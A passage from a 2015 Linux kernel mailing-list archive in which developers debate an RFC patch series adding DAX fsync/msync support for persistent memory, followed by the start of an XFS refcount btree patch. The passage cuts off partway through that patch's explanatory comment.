the v4.4 merge window, > but I think that if we can get this reviewed and working it's a much better > solution than the "big hammer" approach that blindly flushes entire PMEM > namespaces [3]. > > [1] http://oss.sgi.com/archives/xfs/2015-10/msg00523.html > [2] http://marc.info/?l=linux-ext4&m=144550211312472&w=2 > [3] https://lists.01.org/pipermail/linux-nvdimm/2015-October/002614.html > > Ross Zwisler (11): > pmem: add wb_cache_pmem() to the PMEM API > mm: add pmd_mkclean() > pmem: enable REQ_FLUSH handling > dax: support dirty DAX entries in radix tree > mm: add follow_pte_pmd() > mm: add pgoff_mkclean() > mm: add find_get_entries_tag() > fs: add get_block() to struct inode_operations > dax: add support for fsync/sync > xfs, ext2: call dax_pfn_mkwrite() on write fault > ext4: add ext4_dax_pfn_mkwrite() This is great to have when the flush-the-world solution ends up killing performance. However, there are a couple mitigating options for workloads that dirty small amounts and flush often that we need to collect data on: 1/ Using cache management and pcommit from userspace to skip calls to msync / fsync. Although, this does not eliminate all calls to blkdev_issue_flush as the fs may invoke it for other reasons. I suspect turning on REQ_FUA support eliminates a number of those invocations, and pmem already satisfies REQ_FUA semantics by default. 2/ Turn off DAX and use the page cache. As Dave mentions [1] we should enable this control on a per-inode basis. I'm folding in this capability as a blkdev_ioctl for the next version of the raw block DAX support patch. It's entirely possible these mitigations won't eliminate the need for a mechanism like this, but I think we have a bit more work to do to find out how bad this is in practice as well as the crossover point where walking the radix becomes prohibitive. We also have the option of tracking open DAX extents in the driver. Even at coarse granularities I'd be surprised if we can't mitigate most of the overhead. [1]: https://lists.01.org/pipermail/linux-nvdimm/2015-October/002598.html From ross.zwisler@linux.intel.com Fri Oct 30 13:39:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A2B257F4E for ; Fri, 30 Oct 2015 13:39:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6EC318F8064 for ; Fri, 30 Oct 2015 11:39:42 -0700 (PDT) X-ASG-Debug-ID: 1446230380-04bdf0330a14cc50001-NocioJ Received: from mga14.intel.com ([192.55.52.115]) by cuda.sgi.com with ESMTP id O6TevWMNCAyp1tcY for ; Fri, 30 Oct 2015 11:39:40 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 192.55.52.115 Received: from fmsmga003.fm.intel.com ([10.253.24.29]) by fmsmga103.fm.intel.com with ESMTP; 30 Oct 2015 11:39:40 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,219,1444719600"; d="scan'208";a="591187898" Received: from theros.lm.intel.com (HELO linux.intel.com) ([10.232.112.192]) by FMSMGA003.fm.intel.com with ESMTP; 30 Oct 2015 11:39:39 -0700 Date: Fri, 30 Oct 2015 12:39:38 -0600 From: Ross Zwisler To: Dave Chinner Cc: Ross Zwisler , linux-kernel@vger.kernel.org, "H. Peter Anvin" , "J. Bruce Fields" , Theodore Ts'o , Alexander Viro , Andreas Dilger , Dan Williams , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: Re: [RFC 00/11] DAX fsynx/msync support Message-ID: <20151030183938.GC24643@linux.intel.com> X-ASG-Orig-Subj: Re: [RFC 00/11] DAX fsynx/msync support Mail-Followup-To: Ross Zwisler , Dave Chinner , linux-kernel@vger.kernel.org, "H. Peter Anvin" , "J. Bruce Fields" , Theodore Ts'o , Alexander Viro , Andreas Dilger , Dan Williams , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> <20151030035533.GU19199@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151030035533.GU19199@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: UNKNOWN[192.55.52.115] X-Barracuda-Start-Time: 1446230380 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-ASG-Whitelist: Body =?UTF-8?B?aHR0cDovL21hcmNcLmluZm8vXD8=?= X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 30, 2015 at 02:55:33PM +1100, Dave Chinner wrote: > On Thu, Oct 29, 2015 at 02:12:04PM -0600, Ross Zwisler wrote: > > This patch series adds support for fsync/msync to DAX. > > > > Patches 1 through 8 add various utilities that the DAX code will eventually > > need, and the DAX code itself is added by patch 9. Patches 10 and 11 are > > filesystem changes that are needed after the DAX code is added, but these > > patches may change slightly as the filesystem fault handling for DAX is > > being modified ([1] and [2]). > > > > I've marked this series as RFC because I'm still testing, but I wanted to > > get this out there so people would see the direction I was going and > > hopefully comment on any big red flags sooner rather than later. > > > > I realize that we are getting pretty dang close to the v4.4 merge window, > > but I think that if we can get this reviewed and working it's a much better > > solution than the "big hammer" approach that blindly flushes entire PMEM > > namespaces [3]. > > We need the "big hammer" regardless of fsync. If REQ_FLUSH and > REQ_FUA don't do the right thing when it comes to ordering journal > writes against other IO operations, then the filesystems are not > crash safe. i.e. we need REQ_FLUSH/REQ_FUA to commit all outstanding > changes back to stable storage, just like they do for existing > storage.... I think that what I've got here (when it's fully working) will protect all the cases that we need. AFAIK there are three ways that data can be written to a PMEM namespace: 1) Through the PMEM driver via either pmem_make_request(), pmem_rw_page() or pmem_rw_bytes(). All of these paths sync the newly written data durably to media before the I/O completes so they shouldn't have any reliance on REQ_FUA/REQ_FLUSH. 2) Through the DAX I/O path, dax_io(). As with PMEM we flush the newly written data durably to media before the I/O operation completes, so this path shouldn't have any reliance on REQ_FUA/REQ_FLUSH. 3) Through mmaps set up by DAX. This is the path we are trying to protect with the dirty page tracking and flushing in this patch set, and I think that this is the only path that has reliance on REQ_FLUSH. The goal of this set is to have the cache writeback all happen as part of the fsync/msync handling, and then have the REQ_FLUSH just provide the trailing wmb_pmem(). My guess is that XFS metadata writes happen via path 1), down through the PMEM driver. Am I missing anything, or should we be good to go? > > [1] http://oss.sgi.com/archives/xfs/2015-10/msg00523.html > > [2] http://marc.info/?l=linux-ext4&m=144550211312472&w=2 > > [3] https://lists.01.org/pipermail/linux-nvdimm/2015-October/002614.html > > > > Ross Zwisler (11): > > pmem: add wb_cache_pmem() to the PMEM API > > mm: add pmd_mkclean() > > pmem: enable REQ_FLUSH handling > > dax: support dirty DAX entries in radix tree > > mm: add follow_pte_pmd() > > mm: add pgoff_mkclean() > > mm: add find_get_entries_tag() > > fs: add get_block() to struct inode_operations > > I don't think this is the right thing to do - it propagates the use > of bufferheads as a mapping structure into places where we do not > want bufferheads. We've recently added a similar block mapping > interface to the export operations structure for PNFS and that uses > a "struct iomap" which is far more suited to being an inode > operation this. > > We have plans to move this to the inode operations for various > reasons. e.g: multipage write, adding interfaces that support proper > mapping of holes, etc: > > https://www.redhat.com/archives/cluster-devel/2014-October/msg00167.html > > So after many years of saying no to moving getblocks to the inode > operations it seems like the wrong thing to do now considering I > want to convert all the DAX code to use iomaps while only 2/3 > filesystems are supported... Okay, I'll take a look at this interface. I also think that we may need to flow through the filesystem before going into the DAX code so that we can serialize our flushing with respect to extent manipulation, as we had to do with our DAX fault paths. > > dax: add support for fsync/sync > > Why put the dax_flush_mapping() in do_writepages()? Why not call it > directly from the filesystem ->fsync() implementations where a > getblocks callback could also be provided? Because that's where you put it in your example. :) https://lists.01.org/pipermail/linux-nvdimm/2015-March/000341.html Moving it into the filesystem where we know about get_block() is probably the right thing to do - I'll check it out. Thanks! From ross.zwisler@linux.intel.com Fri Oct 30 14:43:07 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 573D17F4E for ; Fri, 30 Oct 2015 14:43:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 45AD4304066 for ; Fri, 30 Oct 2015 12:43:04 -0700 (PDT) X-ASG-Debug-ID: 1446234182-04cbb0660c150f20001-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id eQQwBjRqrww73WW4 for ; Fri, 30 Oct 2015 12:43:02 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from orsmga003.jf.intel.com ([10.7.209.27]) by orsmga103.jf.intel.com with ESMTP; 30 Oct 2015 12:43:01 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,220,1444719600"; d="scan'208";a="675275057" Received: from theros.lm.intel.com (HELO linux.intel.com) ([10.232.112.192]) by orsmga003.jf.intel.com with ESMTP; 30 Oct 2015 12:43:00 -0700 Date: Fri, 30 Oct 2015 13:43:00 -0600 From: Ross Zwisler To: Dan Williams Cc: Ross Zwisler , "linux-kernel@vger.kernel.org" , "H. Peter Anvin" , "J. Bruce Fields" , Theodore Ts'o , Alexander Viro , Andreas Dilger , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel , Linux MM , "linux-nvdimm@lists.01.org" , X86 ML , xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: Re: [RFC 00/11] DAX fsynx/msync support Message-ID: <20151030194300.GA22670@linux.intel.com> X-ASG-Orig-Subj: Re: [RFC 00/11] DAX fsynx/msync support Mail-Followup-To: Ross Zwisler , Dan Williams , "linux-kernel@vger.kernel.org" , "H. Peter Anvin" , "J. Bruce Fields" , Theodore Ts'o , Alexander Viro , Andreas Dilger , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel , Linux MM , "linux-nvdimm@lists.01.org" , X86 ML , xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1446234182 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-ASG-Whitelist: Body =?UTF-8?B?aHR0cDovL21hcmNcLmluZm8vXD8=?= X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 30, 2015 at 11:34:07AM -0700, Dan Williams wrote: > On Thu, Oct 29, 2015 at 1:12 PM, Ross Zwisler > wrote: > > This patch series adds support for fsync/msync to DAX. > > > > Patches 1 through 8 add various utilities that the DAX code will eventually > > need, and the DAX code itself is added by patch 9. Patches 10 and 11 are > > filesystem changes that are needed after the DAX code is added, but these > > patches may change slightly as the filesystem fault handling for DAX is > > being modified ([1] and [2]). > > > > I've marked this series as RFC because I'm still testing, but I wanted to > > get this out there so people would see the direction I was going and > > hopefully comment on any big red flags sooner rather than later. > > > > I realize that we are getting pretty dang close to the v4.4 merge window, > > but I think that if we can get this reviewed and working it's a much better > > solution than the "big hammer" approach that blindly flushes entire PMEM > > namespaces [3]. > > > > [1] http://oss.sgi.com/archives/xfs/2015-10/msg00523.html > > [2] http://marc.info/?l=linux-ext4&m=144550211312472&w=2 > > [3] https://lists.01.org/pipermail/linux-nvdimm/2015-October/002614.html > > > > Ross Zwisler (11): > > pmem: add wb_cache_pmem() to the PMEM API > > mm: add pmd_mkclean() > > pmem: enable REQ_FLUSH handling > > dax: support dirty DAX entries in radix tree > > mm: add follow_pte_pmd() > > mm: add pgoff_mkclean() > > mm: add find_get_entries_tag() > > fs: add get_block() to struct inode_operations > > dax: add support for fsync/sync > > xfs, ext2: call dax_pfn_mkwrite() on write fault > > ext4: add ext4_dax_pfn_mkwrite() > > This is great to have when the flush-the-world solution ends up > killing performance. However, there are a couple mitigating options > for workloads that dirty small amounts and flush often that we need to > collect data on: > > 1/ Using cache management and pcommit from userspace to skip calls to > msync / fsync. Although, this does not eliminate all calls to > blkdev_issue_flush as the fs may invoke it for other reasons. I > suspect turning on REQ_FUA support eliminates a number of those > invocations, and pmem already satisfies REQ_FUA semantics by default. Sure, I'll turn on REQ_FUA in addition to REQ_FLUSH - I agree that PMEM already handles the requirements of REQ_FUA, but I didn't realize that it might reduce the number of REQ_FLUSH bios we receive. > 2/ Turn off DAX and use the page cache. As Dave mentions [1] we > should enable this control on a per-inode basis. I'm folding in this > capability as a blkdev_ioctl for the next version of the raw block DAX > support patch. Umm...I think you just said "the way to avoid this delay is to just not use DAX". :) I don't think this is where we want to go - we are trying to make DAX better, not abandon it. > It's entirely possible these mitigations won't eliminate the need for > a mechanism like this, but I think we have a bit more work to do to > find out how bad this is in practice as well as the crossover point > where walking the radix becomes prohibitive. I'm guessing a single run through xfstests will be enough to convince you that the "big hammer" approach is untenable. Tests that used to take a second now take several minutes, at least in my VM testing environment... And that's only using a tiny 4GiB namespace. Yes, we can distribute the cost over multiple CPUs, but that just distributes the problem and doesn't reduce the overall work that needs to be done. Ultimately I think that looping through multiple GiB or even TiB of cache lines and blindly writing them back individually on every REQ_FLUSH is going to be a deal breaker. From dan.j.williams@intel.com Fri Oct 30 14:51:49 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A608E7F4E for ; Fri, 30 Oct 2015 14:51:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 94A248F8035 for ; Fri, 30 Oct 2015 12:51:46 -0700 (PDT) X-ASG-Debug-ID: 1446234700-04cb6c7b8513ea60001-NocioJ Received: from mail-wi0-f178.google.com (mail-wi0-f178.google.com [209.85.212.178]) by cuda.sgi.com with ESMTP id 9dGRdfF9XARKHPKa (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 30 Oct 2015 12:51:41 -0700 (PDT) X-Barracuda-Envelope-From: dan.j.williams@intel.com X-Barracuda-Apparent-Source-IP: 209.85.212.178 Received: by wicfv8 with SMTP id fv8so17566136wic.0 for ; Fri, 30 Oct 2015 12:51:40 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=intel_com.20150623.gappssmtp.com; s=20150623; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=iubxwr7osZIB0cHyYNT3V8J72NpWf1pRCHqBkxBGJJA=; b=nREir0rsH/JFvCt8QIXlmw57SDU6VlSprgskCqwkK8mRPfFXZF161R+Qe8MN9eAUfm KqATtlDJ2IYmu/lu+/PsIRG6RjNrricE7+N4AQu1GpEnZ0iXF8DgaHQhz9iC6N24eHhO bForrhCPNPMKSX/F6ZxY3RpLC8i+LSagWVF7jrTIQYKotCN+oj2CV5U4VFT0z49DpZWk FGDmjU3pqoixVAxQPb02+Djdan+tY5elMR/HlauK6qkfCP6wcU2rrM3BuLNdgFbbmiQu zR1v37txefWbmqgygksVoDcoADXcbxBJMaf2o+deMrhNaWTqDA/G08l/aYcEu3El+JHM Cr9w== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:content-type; bh=iubxwr7osZIB0cHyYNT3V8J72NpWf1pRCHqBkxBGJJA=; b=igCa72ioP1cZx3hz3QaxPkEEZ6SkTd8SBGUcIQW0pZANduTtrXnC1+FNzi76cWodSr Uk3y72lRUm29/6WbYOojLGwvp2S/GnViuBGAQeTyraKWlc2ZVsb8XUovx6RXki92a8y5 MGWDw8R5lKpz1+1Q/bmGBnTNiTjc5SzdynPGuXY0fGCCA8f3t3qk03V1YQHMSgHZm1ub 7Qs1ohsz2+GNOYUf5swZ9Wa8pTzs+lG+H0Umzpdil2Oa66FZarM1KSSlDL/1w8uOei8B PNfJfocIJS8uB8qeQ6uOaupTyaaFR69Zu9DrQJnciiEJA/gBRWoVnL3KCbXewO3g6khg spvQ== X-Gm-Message-State: ALoCoQkOKlX0DV9ZctcizIYh+AkLi8q4qmMUpoQ4XTHbt9DXTMVxnzWMz/JEBL4Q7knByyjnyG16 MIME-Version: 1.0 X-Received: by 10.194.243.232 with SMTP id xb8mr10414346wjc.138.1446234700230; Fri, 30 Oct 2015 12:51:40 -0700 (PDT) Received: by 10.27.88.132 with HTTP; Fri, 30 Oct 2015 12:51:40 -0700 (PDT) In-Reply-To: <20151030194300.GA22670@linux.intel.com> References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> <20151030194300.GA22670@linux.intel.com> Date: Fri, 30 Oct 2015 12:51:40 -0700 Message-ID: Subject: Re: [RFC 00/11] DAX fsynx/msync support From: Dan Williams X-ASG-Orig-Subj: Re: [RFC 00/11] DAX fsynx/msync support To: Ross Zwisler , Dan Williams , "linux-kernel@vger.kernel.org" , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel , Linux MM , "linux-nvdimm@lists.01.org" , X86 ML , xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-wi0-f178.google.com[209.85.212.178] X-Barracuda-Start-Time: 1446234701 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-ASG-Whitelist: Body =?UTF-8?B?aHR0cDovL21hcmNcLmluZm8vXD8=?= X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 30, 2015 at 12:43 PM, Ross Zwisler wrote: > On Fri, Oct 30, 2015 at 11:34:07AM -0700, Dan Williams wrote: >> On Thu, Oct 29, 2015 at 1:12 PM, Ross Zwisler >> wrote: >> > This patch series adds support for fsync/msync to DAX. >> > >> > Patches 1 through 8 add various utilities that the DAX code will eventually >> > need, and the DAX code itself is added by patch 9. Patches 10 and 11 are >> > filesystem changes that are needed after the DAX code is added, but these >> > patches may change slightly as the filesystem fault handling for DAX is >> > being modified ([1] and [2]). >> > >> > I've marked this series as RFC because I'm still testing, but I wanted to >> > get this out there so people would see the direction I was going and >> > hopefully comment on any big red flags sooner rather than later. >> > >> > I realize that we are getting pretty dang close to the v4.4 merge window, >> > but I think that if we can get this reviewed and working it's a much better >> > solution than the "big hammer" approach that blindly flushes entire PMEM >> > namespaces [3]. >> > >> > [1] http://oss.sgi.com/archives/xfs/2015-10/msg00523.html >> > [2] http://marc.info/?l=linux-ext4&m=144550211312472&w=2 >> > [3] https://lists.01.org/pipermail/linux-nvdimm/2015-October/002614.html >> > >> > Ross Zwisler (11): >> > pmem: add wb_cache_pmem() to the PMEM API >> > mm: add pmd_mkclean() >> > pmem: enable REQ_FLUSH handling >> > dax: support dirty DAX entries in radix tree >> > mm: add follow_pte_pmd() >> > mm: add pgoff_mkclean() >> > mm: add find_get_entries_tag() >> > fs: add get_block() to struct inode_operations >> > dax: add support for fsync/sync >> > xfs, ext2: call dax_pfn_mkwrite() on write fault >> > ext4: add ext4_dax_pfn_mkwrite() >> >> This is great to have when the flush-the-world solution ends up >> killing performance. However, there are a couple mitigating options >> for workloads that dirty small amounts and flush often that we need to >> collect data on: >> >> 1/ Using cache management and pcommit from userspace to skip calls to >> msync / fsync. Although, this does not eliminate all calls to >> blkdev_issue_flush as the fs may invoke it for other reasons. I >> suspect turning on REQ_FUA support eliminates a number of those >> invocations, and pmem already satisfies REQ_FUA semantics by default. > > Sure, I'll turn on REQ_FUA in addition to REQ_FLUSH - I agree that PMEM > already handles the requirements of REQ_FUA, but I didn't realize that it > might reduce the number of REQ_FLUSH bios we receive. I'll let Dave chime in, but a lot of the flush requirements come from guaranteeing the state of the metadata, if metadata updates can be done with REQ_FUA then there is no subsequent need to flush. >> 2/ Turn off DAX and use the page cache. As Dave mentions [1] we >> should enable this control on a per-inode basis. I'm folding in this >> capability as a blkdev_ioctl for the next version of the raw block DAX >> support patch. > > Umm...I think you just said "the way to avoid this delay is to just not use > DAX". :) I don't think this is where we want to go - we are trying to make > DAX better, not abandon it. That's a bit of an exaggeration. Avoiding DAX where it is not necessary is not "abandoning DAX", it's using the right tool for the job. Page cache is fine for many cases. >> It's entirely possible these mitigations won't eliminate the need for >> a mechanism like this, but I think we have a bit more work to do to >> find out how bad this is in practice as well as the crossover point >> where walking the radix becomes prohibitive. > > I'm guessing a single run through xfstests will be enough to convince you that > the "big hammer" approach is untenable. Tests that used to take a second now > take several minutes, at least in my VM testing environment... And that's > only using a tiny 4GiB namespace. > > Yes, we can distribute the cost over multiple CPUs, but that just distributes > the problem and doesn't reduce the overall work that needs to be done. > Ultimately I think that looping through multiple GiB or even TiB of cache > lines and blindly writing them back individually on every REQ_FLUSH is going > to be a deal breaker. Right, part of the problem is that the driver doesn't know which blocks are actively DAX mapped. I think we can incrementally fix that without requiring DAX specific fsync/msync handling code for each fs that supports DAX. From darrick.wong@oracle.com Fri Oct 30 15:56:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 81F217F4E for ; Fri, 30 Oct 2015 15:56:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2839EAC001 for ; Fri, 30 Oct 2015 13:56:17 -0700 (PDT) X-ASG-Debug-ID: 1446238572-04bdf0330a150960001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id hEYd2B5JsG79q5tY (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 13:56:13 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9UKu6qh001198 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 30 Oct 2015 20:56:07 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9UKu61L017327 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Fri, 30 Oct 2015 20:56:06 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9UKu5Z7023573; Fri, 30 Oct 2015 20:56:05 GMT Received: from localhost (/10.145.178.207) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 30 Oct 2015 13:56:05 -0700 Date: Fri, 30 Oct 2015 13:56:02 -0700 From: "Darrick J. Wong" To: david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 40/58] libxfs: adjust refcount of an extent of blocks in refcount btree Message-ID: <20151030205602.GP10397@birch.djwong.org> X-ASG-Orig-Subj: Re: [PATCH 40/58] libxfs: adjust refcount of an extent of blocks in refcount btree References: <20151007045443.30457.47038.stgit@birch.djwong.org> <20151007045933.30457.81045.stgit@birch.djwong.org> <20151027190533.GO10397@birch.djwong.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151027190533.GO10397@birch.djwong.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1446238573 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23966 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Tue, Oct 27, 2015 at 12:05:33PM -0700, Darrick J. Wong wrote: > On Tue, Oct 06, 2015 at 09:59:33PM -0700, Darrick J. Wong wrote: > > Provide functions to adjust the reference counts for an extent of > > physical blocks stored in the refcount btree. > > > > Signed-off-by: Darrick J. Wong > > --- > > fs/xfs/libxfs/xfs_refcount.c | 771 ++++++++++++++++++++++++++++++++++++++++++ > > fs/xfs/libxfs/xfs_refcount.h | 8 > > 2 files changed, 779 insertions(+) > > > > > > diff --git a/fs/xfs/libxfs/xfs_refcount.c b/fs/xfs/libxfs/xfs_refcount.c > > index b3f2c25..02892bc 100644 > > --- a/fs/xfs/libxfs/xfs_refcount.c > > +++ b/fs/xfs/libxfs/xfs_refcount.c > > @@ -167,3 +167,774 @@ xfs_refcountbt_delete( > > out_error: > > return error; > > } > > + > > +/* > > + * Adjusting the Reference Count > > + * > > + * As stated elsewhere, the reference count btree (refcbt) stores > > + * >1 reference counts for extents of physical blocks. In this > > + * operation, we're either raising or lowering the reference count of > > + * some subrange stored in the tree: > > + * > > + * <------ adjustment range ------> > > + * ----+ +---+-----+ +--+--------+--------- > > + * 2 | | 3 | 4 | |17| 55 | 10 > > + * ----+ +---+-----+ +--+--------+--------- > > + * X axis is physical blocks number; > > + * reference counts are the numbers inside the rectangles > > + * > > + * The first thing we need to do is to ensure that there are no > > + * refcount extents crossing either boundary of the range to be > > + * adjusted. For any extent that does cross a boundary, split it into > > + * two extents so that we can increment the refcount of one of the > > + * pieces later: > > + * > > + * <------ adjustment range ------> > > + * ----+ +---+-----+ +--+--------+----+---- > > + * 2 | | 3 | 2 | |17| 55 | 10 | 10 > > + * ----+ +---+-----+ +--+--------+----+---- > > + * > > + * For this next step, let's assume that all the physical blocks in > > + * the adjustment range are mapped to a file and are therefore in use > > + * at least once. Therefore, we can infer that any gap in the > > + * refcount tree within the adjustment range represents a physical > > + * extent with refcount == 1: > > + * > > + * <------ adjustment range ------> > > + * ----+---+---+-----+-+--+--------+----+---- > > + * 2 |"1"| 3 | 2 |1|17| 55 | 10 | 10 > > + * ----+---+---+-----+-+--+--------+----+---- > > + * ^ > > + * > > + * For each extent that falls within the interval range, figure out > > + * which extent is to the left or the right of that extent. Now we > > + * have a left, current, and right extent. If the new reference count > > + * of the center extent enables us to merge left, center, and right > > + * into one record covering all three, do so. If the center extent is > > + * at the left end of the range, abuts the left extent, and its new > > + * reference count matches the left extent's record, then merge them. > > + * If the center extent is at the right end of the range, abuts the > > + * right extent, and the reference counts match, merge those. In the > > + * example, we can left merge (assuming an increment operation): > > + * > > + * <------ adjustment range ------> > > + * --------+---+-----+-+--+--------+----+---- > > + * 2 | 3 | 2 |1|17| 55 | 10 | 10 > > + * --------+---+-----+-+--+--------+----+---- > > + * ^ > > + * > > + * For all other extents within the range, adjust the reference count > > + * or delete it if the refcount falls below 2. If we were > > + * incrementing, the end result looks like this: > > + * > > + * <------ adjustment range ------> > > + * --------+---+-----+-+--+--------+----+---- > > + * 2 | 4 | 3 |2|18| 56 | 11 | 10 > > + * --------+---+-----+-+--+--------+----+---- > > + * > > + * The result of a decrement operation looks as such: > > + * > > + * <------ adjustment range ------> > > + * ----+ +---+ +--+--------+----+---- > > + * 2 | | 2 | |16| 54 | 9 | 10 > > + * ----+ +---+ 